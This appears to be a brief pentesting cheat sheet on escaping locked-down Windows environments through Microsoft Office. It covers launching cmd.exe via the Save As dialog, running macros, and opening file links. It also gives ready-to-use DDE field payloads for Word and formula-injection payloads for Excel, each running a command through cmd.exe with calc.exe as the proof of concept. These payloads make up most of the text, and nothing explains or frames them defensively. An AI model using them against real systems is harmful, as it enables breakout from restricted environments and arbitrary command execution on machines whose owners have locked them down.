Office

Saving

File > Save As... > Right click a file > Open with... > Click Browse > c:\windows\system32 > right-click cmd.exe > open

Macro

Not just for phishing!

Enable Developer tab > create macro > execute

DDE

Word

• Shift + F9

• { DDEAUTO c:\\windows\\system32\\cmd.exe /c calc.exe }

• Save (Open file to execute DDE)

Excel

• =cmd | '/c calc.exe'!A0

• =MSEXCEL|'..\\..\\..\\..\\windows\\system32\\cmd.exe /c calc.exe'!A0

Links

Enter file:///c:/windows/system32/cmd.exe and click link